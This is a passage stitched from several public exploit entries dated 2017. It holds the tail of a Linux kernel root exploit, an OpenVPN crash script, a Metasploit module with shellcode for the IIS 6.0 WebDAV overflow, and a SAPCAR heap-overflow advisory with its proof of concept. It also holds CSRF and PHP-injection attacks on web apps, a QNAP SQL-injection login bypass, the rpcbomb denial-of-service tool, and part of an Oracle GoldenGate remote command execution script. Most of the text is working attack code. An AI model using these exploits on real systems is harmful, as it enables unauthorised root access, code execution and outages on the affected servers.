if (!write_file("/proc/self/setgroups", "deny")) {
perror("[-] write_file(/proc/self/set_groups)");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)){
perror("[-] write_file(/proc/self/uid_map)");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
perror("[-] write_file(/proc/self/gid_map)");
exit(EXIT_FAILURE);
}
cpu_set_t my_set;
CPU_ZERO(&my_set);
CPU_SET(0, &my_set);
if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
perror("[-] sched_setaffinity()");
exit(EXIT_FAILURE);
}
if (system("/sbin/ifconfig lo up") != 0) {
perror("[-] system(/sbin/ifconfig lo up)");
exit(EXIT_FAILURE);
}
}
int main() {
printf("[.] starting\n");
setup_sandbox();
printf("[.] namespace sandbox set up\n");
#if ENABLE_KASLR_BYPASS
printf("[.] KASLR bypass enabled, getting kernel addr\n");
KERNEL_BASE = get_kernel_addr();
printf("[.] done, kernel text: %lx\n", KERNEL_BASE);
#endif
printf("[.] commit_creds: %lx\n", KERNEL_BASE + COMMIT_CREDS);
printf("[.] prepare_kernel_cred: %lx\n", KERNEL_BASE + PREPARE_KERNEL_CRED);
#if ENABLE_SMEP_SMAP_BYPASS
printf("[.] native_write_cr4: %lx\n", KERNEL_BASE + NATIVE_WRITE_CR4);
#endif
printf("[.] padding heap\n");
kmalloc_pad(KMALLOC_PAD);
pagealloc_pad(PAGEALLOC_PAD);
printf("[.] done, heap is padded\n");
#if ENABLE_SMEP_SMAP_BYPASS
printf("[.] SMEP & SMAP bypass enabled, turning them off\n");
oob_timer_execute((void *)(KERNEL_BASE + NATIVE_WRITE_CR4), CR4_DESIRED_VALUE);
printf("[.] done, SMEP & SMAP should be off now\n");
#endif
printf("[.] executing get root payload %p\n", &get_root_payload);
oob_id_match_execute((void *)&get_root_payload);
printf("[.] done, should be root now\n");
check_root();
while (1) sleep(1000);
return 0;
}
#!/usr/bin/env python3
'''
$ ./dos_server.py &
$ sudo ./openvpn-2.4.0/src/openvpn/openvpn conf/server-tls.conf
...
Fri Feb 24 10:19:19 2017 192.168.149.1:64249 TLS: Initial packet from [AF_INET]192.168.149.1:64249, sid=9a6c48a6 1467f5e1
Fri Feb 24 10:19:19 2017 192.168.149.1:64249 Assertion failed at ssl.c:3711 (buf_copy(in, buf))
Fri Feb 24 10:19:19 2017 192.168.149.1:64249 Exiting due to fatal error
Fri Feb 24 10:19:19 2017 192.168.149.1:64249 /sbin/route del -net 10.8.0.0 netmask 255.255.255.0
Fri Feb 24 10:19:19 2017 192.168.149.1:64249 Closing TUN/TAP interface Fri Feb 24 10:19:19 2017 192.168.149.1:64249 /sbin/ifconfig tun0 0.0.0.0
'''
import binascii
import os
import socket
from construct import *
HOST, PORT = "192.168.0.1", 1194
SessionID = Bytes(8)
PControlV1 = Struct(
"packet_id" / Int32ub,
"data" / GreedyBytes
)
PAckV1 = Struct(
"remote_session_id" / SessionID
)
PControlHardResetClientV2 = Struct(
"packet_id" / Int32ub
)
PControlHardResetServerV2 = Struct(
"remote_session_id" / SessionID,
"packet_id" / Int32ub
)
OpenVPNPacket = Struct(
EmbeddedBitStruct(
"opcode" / Enum(BitsInteger(5),
P_CONTROL_HARD_RESET_CLIENT_V1=1,
P_CONTROL_HARD_RESET_SERVER_V1=2,
P_CONTROL_HARD_RESET_CLIENT_V2=7,
P_CONTROL_HARD_RESET_SERVER_V2=8,
P_CONTROL_SOFT_RESET_V1=3,
P_CONTROL_V1=4,
P_ACK_V1=5,
P_DATA_V1=6),
"key_id" / BitsInteger(3)
),
"session_id" / SessionID,
"ack_packets" / PrefixedArray(Int8ub, Int32ub),
Embedded(Switch(this.opcode,
{
"P_CONTROL_V1": PControlV1,
"P_ACK_V1": PAckV1,
"P_CONTROL_HARD_RESET_CLIENT_V2": PControlHardResetClientV2,
"P_CONTROL_HARD_RESET_SERVER_V2": PControlHardResetServerV2
}))
)
def main():
session_id = os.urandom(8)
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
reset_client = OpenVPNPacket.build({
"opcode": "P_CONTROL_HARD_RESET_CLIENT_V2",
"key_id": 0,
"session_id": session_id,
"ack_packets": [],
"packet_id": 0})
sock.sendto(reset_client, (HOST, PORT))
data, addr = sock.recvfrom(8192)
reset_server = OpenVPNPacket.parse(data)
remote_session_id = reset_server.session_id
# ack server packet
ack_packet = OpenVPNPacket.build({
"opcode": "P_ACK_V1",
"key_id": 0,
"session_id": session_id,
"ack_packets": [reset_server.packet_id],
"remote_session_id": remote_session_id
})
sock.sendto(ack_packet, (HOST, PORT))
control_packet = OpenVPNPacket.build({
"opcode": "P_CONTROL_V1",
"key_id": 0,
"session_id": session_id,
"ack_packets": [],
"packet_id": 1,
"data": b"a" * 2048})
sock.sendto(control_packet, (HOST, PORT))
if __name__ == '__main__':
main()
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => ' Microsoft IIS WebDav ScStoragePathFromUrl Overflow',
'Description' => %q{
Buffer overflow in the ScStoragePathFromUrl function
in the WebDAV service in Internet Information Services (IIS) 6.0
in Microsoft Windows Server 2003 R2 allows remote attackers to
execute arbitrary code via a long header beginning with
"If: <http://" in a PROPFIND request, as exploited in the
wild in July or August 2016.
Original exploit by Zhiniang Peng and Chen Wu.
},
'Author' =>
[
'Zhiniang Peng', # Original author
'Chen Wu', # Original author
'Dominic Chell <dominic@mdsec.co.uk>', # metasploit module
'firefart', # metasploit module
'zcgonvh <zcgonvh@qq.com>', # metasploit module
'Rich Whitcroft' # metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2017-7269' ],
[ 'BID', '97127' ],
[ 'URL', 'https://github.com/edwardz246003/IIS_exploit' ],
[ 'URL', 'https://0patch.blogspot.com/2017/03/0patching-immortal-cve-2017-7269.html' ]
],
'Privileged' => false,
'Payload' =>
{
'Space' => 2000,
'BadChars' => "\x00",
'EncoderType' => Msf::Encoder::Type::AlphanumUnicodeMixed,
'DisableNops' => 'True',
'EncoderOptions' =>
{
'BufferRegister' => 'ESI',
}
},
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'PrependMigrate' => true,
},
'Targets' =>
[
[
'Microsoft Windows Server 2003 R2 SP2',
{
'Platform' => 'win',
},
],
],
'Platform' => 'win',
'DisclosureDate' => 'Mar 26 2017',
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [ true, 'Path of IIS 6 web application', '/']),
OptInt.new('MINPATHLENGTH', [ true, 'Start of physical path brute force', 3 ]),
OptInt.new('MAXPATHLENGTH', [ true, 'End of physical path brute force', 60 ]),
])
end
def min_path_len
datastore['MINPATHLENGTH']
end
def max_path_len
datastore['MAXPATHLENGTH']
end
def supports_webdav?(headers)
if headers['MS-Author-Via'] == 'DAV' ||
headers['DASL'] == '<DAV:sql>' ||
headers['DAV'] =~ /^[1-9]+(,\s+[1-9]+)?$/ ||
headers['Public'] =~ /PROPFIND/ ||
headers['Allow'] =~ /PROPFIND/
return true
else
return false
end
end
def check
res = send_request_cgi({
'uri' => target_uri.path,
'method' => 'OPTIONS'
})
if res && res.headers['Server'].include?('IIS/6.0') && supports_webdav?(res.headers)
return Exploit::CheckCode::Vulnerable
elsif res && supports_webdav?(res.headers)
return Exploit::CheckCode::Detected
elsif res.nil?
return Exploit::CheckCode::Unknown
else
return Exploit::CheckCode::Safe
end
end
def exploit
# extract the local servername and port from a PROPFIND request
# these need to be the values from the backend server
# if testing a reverse proxy setup, these values differ
# from RHOST and RPORT but can be extracted this way
vprint_status("Extracting ServerName and Port")
res = send_request_raw(
'method' => 'PROPFIND',
'headers' => {
'Content-Length' => 0
},
'uri' => target_uri.path
)
fail_with(Failure::BadConfig, "Server did not respond correctly to WebDAV request") if(res.nil? || res.code != 207)
xml = res.get_xml_document
url = URI.parse(xml.at("//a:response//a:href").text)
server_name = url.hostname
server_port = url.port
server_scheme = url.scheme
http_host = "#{server_scheme}://#{server_name}:#{server_port}"
vprint_status("Using http_host #{http_host}")
min_path_len.upto(max_path_len) do |path_len|
vprint_status("Trying path length of #{path_len}...")
begin
buf1 = "<#{http_host}/"
buf1 << rand_text_alpha(114 - path_len)
buf1 << "\xe6\xa9\xb7\xe4\x85\x84\xe3\x8c\xb4\xe6\x91\xb6\xe4\xb5\x86\xe5\x99\x94\xe4\x9d\xac\xe6\x95\x83\xe7\x98\xb2\xe7\x89\xb8\xe5\x9d\xa9\xe4\x8c\xb8\xe6\x89\xb2\xe5\xa8\xb0\xe5\xa4\xb8\xe5\x91\x88\xc8\x82\xc8\x82\xe1\x8b\x80\xe6\xa0\x83\xe6\xb1\x84\xe5\x89\x96\xe4\xac\xb7\xe6\xb1\xad\xe4\xbd\x98\xe5\xa1\x9a\xe7\xa5\x90\xe4\xa5\xaa\xe5\xa1\x8f\xe4\xa9\x92\xe4\x85\x90\xe6\x99\x8d\xe1\x8f\x80\xe6\xa0\x83\xe4\xa0\xb4\xe6\x94\xb1\xe6\xbd\x83\xe6\xb9\xa6\xe7\x91\x81\xe4\x8d\xac\xe1\x8f\x80\xe6\xa0\x83\xe5\x8d\x83\xe6\xa9\x81\xe7\x81\x92\xe3\x8c\xb0\xe5\xa1\xa6\xe4\x89\x8c\xe7\x81\x8b\xe6\x8d\x86\xe5\x85\xb3\xe7\xa5\x81\xe7\xa9\x90\xe4\xa9\xac"
buf1 << ">"
buf1 << " (Not <locktoken:write1>) <#{http_host}/"
buf1 << rand_text_alpha(114 - path_len)
buf1 << "\xe5\xa9\x96\xe6\x89\x81\xe6\xb9\xb2\xe6\x98\xb1\xe5\xa5\x99\xe5\x90\xb3\xe3\x85\x82\xe5\xa1\xa5\xe5\xa5\x81\xe7\x85\x90\xe3\x80\xb6\xe5\x9d\xb7\xe4\x91\x97\xe5\x8d\xa1\xe1\x8f\x80\xe6\xa0\x83\xe6\xb9\x8f\xe6\xa0\x80\xe6\xb9\x8f\xe6\xa0\x80\xe4\x89\x87\xe7\x99\xaa\xe1\x8f\x80\xe6\xa0\x83\xe4\x89\x97\xe4\xbd\xb4\xe5\xa5\x87\xe5\x88\xb4\xe4\xad\xa6\xe4\xad\x82\xe7\x91\xa4\xe7\xa1\xaf\xe6\x82\x82\xe6\xa0\x81\xe5\x84\xb5\xe7\x89\xba\xe7\x91\xba\xe4\xb5\x87\xe4\x91\x99\xe5\x9d\x97\xeb\x84\x93\xe6\xa0\x80\xe3\x85\xb6\xe6\xb9\xaf\xe2\x93\xa3\xe6\xa0\x81\xe1\x91\xa0\xe6\xa0\x83\xcc\x80\xe7\xbf\xbe\xef\xbf\xbf\xef\xbf\xbf\xe1\x8f\x80\xe6\xa0\x83\xd1\xae\xe6\xa0\x83\xe7\x85\xae\xe7\x91\xb0\xe1\x90\xb4\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81\xe9\x8e\x91\xe6\xa0\x80\xe3\xa4\xb1\xe6\x99\xae\xe4\xa5\x95\xe3\x81\x92\xe5\x91\xab\xe7\x99\xab\xe7\x89\x8a\xe7\xa5\xa1\xe1\x90\x9c\xe6\xa0\x83\xe6\xb8\x85\xe6\xa0\x80\xe7\x9c\xb2\xe7\xa5\xa8\xe4\xb5\xa9\xe3\x99\xac\xe4\x91\xa8\xe4\xb5\xb0\xe8\x89\x86\xe6\xa0\x80\xe4\xa1\xb7\xe3\x89\x93\xe1\xb6\xaa\xe6\xa0\x82\xe6\xbd\xaa\xe4\x8c\xb5\xe1\x8f\xb8\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81"
buf1 << payload.encoded
buf1 << ">"
vprint_status("Sending payload")
res = send_request_raw(
'method' => 'PROPFIND',
'headers' => {
'Content-Length' => 0,
'If' => "#{buf1}"
},
'uri' => target_uri.path
)
if res
vprint_status("Server returned status #{res.code}")
if res.code == 502 || res.code == 400
next
elsif session_created?
return
else
vprint_status("Unknown Response: #{res.code}")
end
end
rescue ::Errno::ECONNRESET
vprint_status("got a connection reset")
next
end
end
end
end
'''
Source: https://www.coresecurity.com/advisories/sap-sapcar-heap-based-buffer-overflow-vulnerability
1. Advisory Information
Title: SAP SAPCAR Heap Based Buffer Overflow Vulnerability
Advisory ID: CORE-2017-0001
Advisory URL: http://www.coresecurity.com/advisories/sap-sapcar-heap-based-buffer-overflow-vulnerability
Date published: 2017-05-10
Date of last update: 2017-05-10
Vendors contacted: SAP
Release mode: Coordinated release
2. Vulnerability Information
Class: Heap-based Buffer Overflow [CWE-122]
Impact: Code execution
Remotely Exploitable: No
Locally Exploitable: Yes
CVE Name: CVE-2017-8852
3. Vulnerability Description
SAP [1] distributes software and packages using an archive program called SAPCAR [2]. This program uses a custom archive file format. A memory corruption vulnerability was found in the parsing of specially crafted archive files, that could lead to local code execution scenarios.
4. Vulnerable Packages
SAPCAR archive tool version 721.510
Other products and versions might be affected, but they were not tested.
5. Vendor Information, Solutions and Workarounds
SAP published the following Security Notes:
2441560
6. Credits
This vulnerability was discovered and researched by Martin Gallo and Maximiliano Vidal from Core Security Consulting Services. The publication of this advisory was coordinated by Alberto Solino from Core Advisories Team.
7. Technical Description / Proof of Concept Code
This vulnerability is caused by a controlled heap buffer overflow when opening a specially crafted CAR archive file.
The following python code can be used to generate an archive file that triggers the vulnerability:
'''
#!/usr/bin/env python
from scapy.packet import Raw
from pysap.SAPCAR import *
# We write a file just to have some data to put into the archive
with open("string.txt", "w") as fd:
fd.write("Some string to compress")
# Create a new SAP CAR Archive
f = SAPCARArchive("poc.car", mode="wb", version=SAPCAR_VERSION_200)
# Add the text file
f.add_file("string.txt")
# Replace the blocks in the compressed file with the faulty blocks
f._sapcar.files0[0].blocks.append(Raw("D>" + "\x00"*30 + "\x00\xff"))
f._sapcar.files0[0].blocks.append(Raw("A" * 0xffff))
# Write the file
f.write()
'''
$ ./SAPCAR -tvf poc.car
SAPCAR: processing archive poc.car (version 2.00)
-rw-rw-r-- 23 09 Feb 2017 18:12 string.txt
Segmentation fault (core dumped)
The CAR archive files in its version 2.00 are comprised of an archive header and a list of archived files [3]. Each archived file has a header containing the file's metadata, and the content of the file is split among several blocks. When the SAPCAR program opens a file containing an archived file block different than the known ones [4], it reads an additional 32 bytes of file metadata. The program then uses the last two bytes of the data read as a size field, and copies that amount of data into a fixed-length buffer previously allocated in the heap. As the length field is not properly validated, the operation results in a heap-based buffer overflow.
It's worth mentioning that signature validation doesn't prevent the vulnerability to be triggered, as the signature file needs to be extracted from the archive file in order for the validation to be performed.
8. Report Timeline
2017-02-15: Core Security sent an initial notification to SAP.
2017-02-16: SAP confirmed the reception of the email and requested the draft version of the advisory.
2017-02-16: Core Security sent SAP a draft version of the advisory and informed them we would adjust our publication schedule according with the release of a solution to the issues.
2017-02-17: SAP confirmed reception of the draft advisory and assigned the incident ticket 1780137949 for tracking this issue. They will answer back once the team analyze the report.
2017-03-06: Core Security asked SAP for news about the advisory and publication date.
2017-03-08: SAP answered back saying they had troubles generating the SAPCAR archive. They asked for a pre-built one.
2017-03-08: Core Security researcher sent a PoC SAPCAR archive that can trigger the vulnerability. SAP confirmed reception.
2017-03-08: SAP asked for GPG key for one of the researchers involved in the discovery. Core Security sent (again) the key. SAP confirmed reception.
2017-03-13: SAP confirmed they could reproduce the vulnerability. They said they cannot commit to a publication date yet, but they aim at May 9th, although it could fall in April Patch day or postpone after May.
2017-03-13: Core Security thanked SAP for the tentative date and informed them we would publish our security advisory accordingly upon their confirmation.
2017-04-03: Core Security asked SAP for an update about the final publication date for this vulnerability's patch.
2017-04-05: SAP confirmed they will be able to release the fix in May, although there could be chances to release it in April. They will confirm as soon as possible.
2017-04-05: Core Security thanked SAP for the update and asked for a security note number and CVE (if available) to include in the final advisory.
2017-04-10: SAP informed the security note for this vulnerability and confirmed they will be releasing the fix in May 9th. Core Security confirmed reception.
2017-05-08: SAP informed the release of the security note and the credits included in it. Core Security confirmed reception.
2017-05-10: Advisory CORE-2017-0001 published.
9. References
[1] http://go.sap.com/.
[2] https://launchpad.support.sap.com/#/softwarecenter/template/products/_APP=00200682500000001943%26_EVENT=DISPHIER%26HEADER=N%26FUNCTIONBAR=Y%26EVENT=TREE%26TMPL=INTRO_SWDC_SP_AD%26V=MAINT%26REFERER=CATALOG-PATCHES%26ROUTENAME=products/By%20Category%20-%20Additional%20Components.
[3] https://www.coresecurity.com/corelabs-research/publications/deep-dive-sap-archive-file-formats.
[4] https://github.com/CoreSecurity/pysap/blob/master/pysap/SAPCAR.py#L107.
10. About CoreLabs
CoreLabs, the research center of Core Security, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://www.coresecurity.com/core-labs.
11. About Core Security
Courion and Core Security have rebranded the combined company, changing its name to Core Security, to reflect the company's strong commitment to providing enterprises with market-leading, threat-aware, identity, access and vulnerability management solutions that enable actionable intelligence and context needed to manage security risks across the enterprise. Core Security's analytics-driven approach to security enables customers to manage access and identify vulnerabilities, in order to minimize risks and maintain continuous compliance. Solutions include Multi-Factor Authentication, Provisioning, Identity Governance and Administration (IGA), Identity and Access Intelligence (IAI), and Vulnerability Management (VM). The combination of these solutions provides context and shared intelligence through analytics, giving customers a more comprehensive view of their security posture so they can make more informed, prioritized, and better security remediation decisions.
Core Security is headquartered in the USA with offices and operations in South America, Europe, Middle East and Asia. To learn more, contact Core Security at (678) 304-4500 or info@coresecurity.com.
12. Disclaimer
The contents of this advisory are copyright (c) 2017 Core Security and (c) 2017 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/
'''
# Exploit Title: gongwalker API Manager v1.1 - CSRF(Add/Delete/Edit API)
# Date: 2017-05-10
# Exploit Author: HaHwul
# Exploit Author Blog: www.hahwul.com
# Vendor Homepage: https://github.com/gongwalker/ApiManager
# Software Link: https://github.com/gongwalker/ApiManager.git
# Version: v1.1
# Tested on: Debian
### CSRF1 - ADD API Data
<form name="csrf_poc" action="http://127.0.0.1/vul_test/ApiManager/index.php?op=add&act=api&tag=2&type=do" method="POST">
<input type="hidden" name="num" value="test">
<input type="hidden" name="p%5Bname%5D%5B%5D" value="test">
<input type="hidden" name="p%5BparamType%5D%5B%5D" value="lkj">
<input type="hidden" name="memo" value="kj">
<input type="hidden" name="p%5Bdes%5D%5B%5D" value="">
<input type="hidden" name="type" value="GET">
<input type="hidden" name="url" value="test">
<input type="hidden" name="p%5Btype%5D%5B%5D" value="Y">
<input type="hidden" name="p%5Bdefault%5D%5B%5D" value="">
<input type="hidden" name="des" value="test">
<input type="hidden" name="re" value="lkj">
<input type="hidden" name="name" value="test">
<input type="submit" value="Replay!">
</form>
<!-- Auto-submit script:
<script type="text/javascript">document.forms.csrf_poc.submit();</script>
-->
### CSRF2 - Delete API Data
<form name="csrf_poc" action="http://127.0.0.1/vul_test/ApiManager/index.php?op=apiDelete&act=ajax" method="POST">
<input type="hidden" name="id" value="3">
<input type="submit" value="Replay!">
</form>
<!-- Auto-submit script:
<script type="text/javascript">document.forms.csrf_poc.submit();</script>
-->
### CSRF3 - EDIT API Data
<form name="csrf_poc" action="http://127.0.0.1/vul_test/ApiManager/index.php?op=edit&act=api&tag=2&type=do" method="POST">
<input type="hidden" name="num" value="001">
<input type="hidden" name="p%5Bname%5D%5B%5D" value="password">
<input type="hidden" name="p%5BparamType%5D%5B%5D" value="CSRF_PASSWORD">
<input type="hidden" name="memo" value="login_name \x4e0e email \x4e8c\x9009\x5176\x4e00654<script>alert('csrf')</script>">
<input type="hidden" name="p%5Bdes%5D%5B%5D" value="\x5bc6\x7801">
<input type="hidden" name="type" value="POST">
<input type="hidden" name="url" value="http://api.xxx.com">
<input type="hidden" name="p%5Btype%5D%5B%5D" value="Y">
<input type="hidden" name="p%5Bdefault%5D%5B%5D" value="">
<input type="hidden" name="des" value="\x4f1a\x5458\x767b\x5f55\x8c03\x7528\x6b64\x63a5\x53e3">
<input type="hidden" name="re" value="{\r\n \"status\": 1, \r\n \"info\": \"\x767b\x5f55\x6210\x529f\", \r\n \"data\": [ ]\r\n}">
<input type="hidden" name="name" value="\x4f1a\x5458\x767b\x5f55">
<input type="hidden" name="id" value="2">
<input type="submit" value="Replay!">
</form>
<!-- Auto-submit script:
<script type="text/javascript">document.forms.csrf_poc.submit();</script>
-->
BanManager WebUI 1.5.8 - PHP Code Injection & Stored XSS
# Exploit Title: BanManager WebUI - PHP Code Injection & Stored XSS
# Date: 2017-05-10
# Exploit Author: HaHwul
# Exploit Author Blog: www.hahwul.com
# Vendor Homepage: https://github.com/BanManagement/BanManager-WebUI
# Software Link: https://github.com/BanManagement/BanManager-WebUI.git
# Version: 1.5.8
# Tested on: Debian
### Vulnerability
Code executed via the updatesetting action will modify 'setting.php'.
In the process, there is not verification of the input value, so it is possible to insert php code.
### Vulnerable param
PHP Code Injection & Stored XSS
- footer
- buttons_before
- buttons_after
Only PHP Code Injection
- banextra
- muteextra
### Attack code
PAYLOAD: aaaaaa';$hacker=hwul//inject_php_code';
POST /vul_test/BanManager-WebUI/index.php?action=updatesettings&ajax=true&authid=3da541559918a808c2402bba5012f6c60b27661c HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://127.0.0.1/vul_test/BanManager-WebUI/index.php?action=admin
Content-Length: 168
Cookie: BanManagement=epnsf8sut1o05ps574h4861gu7
DNT: 1
Connection: keep-alive
type=mainsettings&iframe=on&utf8=on&footer=aaaaaa'%3B%24hacker%3Dhwul%2F%2Finject_php_code&latestbans=on&latestmutes=on&latestwarnings=on&buttons_before=&buttons_after=
### Result(in settings.php)
$settings['password'] = 'asdf'; // ACP Password (Keep it strong)
$settings['footer'] = 'aaaaaa';$hacker=hwul//inject_php_code';
$settings['admin_link'] = true; // Show the admin link in the footer of all page
$settings['bm_info'] = true; // Show ban management infomation aside 'Account Status'
# Exploit QNAP PhotoStation 5.2.4 and MusicStation 4.8.4 Authentication Bypass
# Date: 10.05.2017
# Software Link: https://www.qnap.com
# Exploit Author: Kacper Szurek
# Contact: https://twitter.com/KacperSzurek
# Website: https://security.szurek.pl/
# Category: web
1. Description
`$_COOKIE[STATIONSID]` is not escaped and then used inside SQL statement.
https://security.szurek.pl/qnap-photostation-524-musicstation-484-authentication-bypass.html
2. Proof of Concept
GET /photo/api/dmc.php HTTP/1.1
Host: qnap.host:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: pl-PL,pl;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: QMS_SID=' UNION SELECT 9999999999,9999999999,9999999999,9999999999,9999999999,9999999999,9999999999,9999999999,9999999999 -- a
Connection: close
3. Fix
Upgrade to version: Photo Station (5.3.4 / 5.2.5), Music Station (5.0.4 / 4.8.5)
# Exploit Title: Discover all tables and columns in database when creating new customer role
# Date: 3/29/2017
# Exploit Author: Pesach Zirkind
# Vendor Homepage: https://personifycorp.com/
# Version: 7.5.2 - 7.6.1
# Tested on: Windows (all versions)
# CVE : CVE-2017-7314
# Category: webapps
1. Description
Any website visitor can access a page that allows creation of a new customer role, while creating the role there is access to the database schema showing all the tables and their columns
It does not show the data in the database only the schema
2. Proof of Concept
Visit: http://site.com/Default.aspx?tabId=275
Click: Role Configuration on the left side
Click New
Select the "Role Based on Table" dropdown
3. Solution:
The fix is available at Personify’s SFTP site (sftp.personifycorp.com) as Personify Patch – SSO-IMS-DNN-Permission.zip
#!/usr/bin/ruby
#
# Source: https://raw.githubusercontent.com/guidovranken/rpcbomb/fe53048af2d4fb78c911e71a30f21afcffbbf5e1/rpcbomb.rb
#
# By Guido Vranken https://guidovranken.wordpress.com/
# Thanks to Sean Verity for writing an exploit in Ruby for an earlier
# vulnerability: https://www.exploit-db.com/exploits/26887/
# I've used it as a template.
require 'socket'
def usage
abort "\nusage: ./rpcbomb.rb <target> <# bytes to allocate> [port]\n\n"
end
bomb = """
` + # ,
: @ @ @ @ @ @
@ @ ; . + @ @ @ . @ @
@ @ @ @ @ ` @ @
. ` @ #
; @ @ @ . : @ @ @ @
@ @ @ @ @ @ @ @ @ @ @ ;
@ @ @ @ @ @ @ @ @ @ @ @ @ `
@ @ @ @ @ @ @ @ @ @ @ @ @ @ :
# @ @ @ @ @ @ @ @ @ @ @ @ @ '
@ @ @ @ @ @ @ @ @ @ @ @ @ @ @
. @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
+ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
+ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
@ @ @ @ @ @ @ @ @ @ @ @ @ @ @
@ @ @ @ @ @ @ @ @ @ @ @ @ @ ,
@ @ @ @ @ @ @ @ @ @ @ @ @
, @ @ @ @ @ @ @ @ @ @ @
` @ @ @ @ @ @ @ @ @
, @ @ @ @ @
r p c b o m b
DoS exploit for *nix rpcbind/libtirpc.
(c) 2017 Guido Vranken.
https://guidovranken.wordpress.com/
"""
puts bomb
if ARGV.length >= 2
begin
host = ARGV[0]
numBytes = Integer(ARGV[1])
port = ARGV.length == 3 ? Integer(ARGV[2]) : 111
rescue
usage
end
pkt = [0].pack('N') # xid
pkt << [0].pack('N') # message type CALL
pkt << [2].pack('N') # RPC version 2
pkt << [100000].pack('N') # Program
pkt << [4].pack('N') # Program version
pkt << [9].pack('N') # Procedure
pkt << [0].pack('N') # Credentials AUTH_NULL
pkt << [0].pack('N') # Credentials length 0
pkt << [0].pack('N') # Credentials AUTH_NULL
pkt << [0].pack('N') # Credentials length 0
pkt << [0].pack('N') # Program: 0
pkt << [0].pack('N') # Ver
pkt << [4].pack('N') # Proc
pkt << [4].pack('N') # Argument length
pkt << [numBytes].pack('N') # Payload
s = UDPSocket.new
s.send(pkt, 0, host, port)
sleep 1.5
begin
s.recvfrom_nonblock(9000)
rescue
puts "No response from server received."
exit()
end
puts "Allocated #{numBytes} bytes at host #{host}:#{port}.\n" +
"\nDamn it feels good to be a gangster.\n\n"
else
usage
end
#!/usr/bin/env python
# Sources:
# https://silentsignal.hu/docs/S2_Oracle_GoldenGate_GOLDENSHOWER.py
# https://blog.silentsignal.eu/2017/05/08/fools-of-golden-gate/
#
# GOLDENSHOWER - Oracle GoldenGate unauthenticated RCE by Silent Signal
#
# Tested with:
# Version 12.1.2.0.0 17185003 OGGCORE_12.1.2.0.0_PLATFORMS_130924.1316 Linux, x64, 64bit (optimized) Oracle 11g
# Version 12.1.2.0.0 17185003 OGGCORE_12.1.2.0.0T1_PLATFORMS_140313.1216 Windows x64 (optimized) Oracle 12c
#
# Nmap service fingerprint example:
# ==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)========
# SF-Port7809-TCP:V=7.12%I=7%D=2/20%Time=DEADBEEF%P=x86_64-unknown-linux-gnu
# SF:%r(RPCCheck,2D,"\0\+\x20\x20ERROR\tMGR\x20did\x20not\x20recognize\x20th
# SF:e\x20command\.\0")%r(DNSVersionBindReq,28,"\0&\x20\x20ERROR\tMGR\x20Did
# SF:\x20Not\x20Recognize\x20Command\0")%r(DNSStatusRequest,28,"\0&\x20\x20E
# SF:RROR\tMGR\x20Did\x20Not\x20Recognize\x20Command\0")%r(afp,28,"\0&\x20\x
# SF:20ERROR\tMGR\x20Did\x20Not\x20Recognize\x20Command\0")%r(kumo-server,2D
# SF:,"\0\+\x20\x20ERROR\tMGR\x20did\x20not\x20recognize\x20the\x20command\.
# SF:\0");
import socket
import struct
import argparse
HOST = None
PORT = None
PLATFORM = None
def send_write(cmd):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
term_ch = "#"
if PLATFORM == "win":
term_ch = "&"
cmd_ggsci = "GGSCI START OBEY x\nSHELL,%s %s " % (cmd, term_ch)
cmd_ggsci = cmd_ggsci.replace(" ", "\x09")
length = struct.pack(">H", len(cmd_ggsci))
s.send(length + cmd_ggsci)
r = s.recv(1024)
print "[+] '%s' WRITTEN \nReceived: %s\n" % (cmd, repr(r))
s.close()
def send_exec():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
cmd = "GGSCI START OBEY ggserr.log".replace(" ", "\x09")
length = struct.pack(">H", len(cmd))
s.send(length + cmd)
r = s.recv(1024)
print "[+] EXECUTED - Received: %s\n" % (repr(r))
s.close()
def monitor():
if PLATFORM == "win":
print "[!] Windows platform detected, this may not work!"
import requests
paths = ["messages", "registry", "statuschanges", "mpoints"]
for p in paths:
r = requests.get("http://%s:%d/%s" % (HOST, PORT, p))
print "\n--- MONITOR - %s ---" % (p)
print r.text
def version():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
#cmd = "GGSCI VERSION".replace(" ","\x09")
cmd = "GGSCI\tVERSION"
length = struct.pack(">H", len(cmd))
s.send(length + cmd)
r = s.recv(1024)
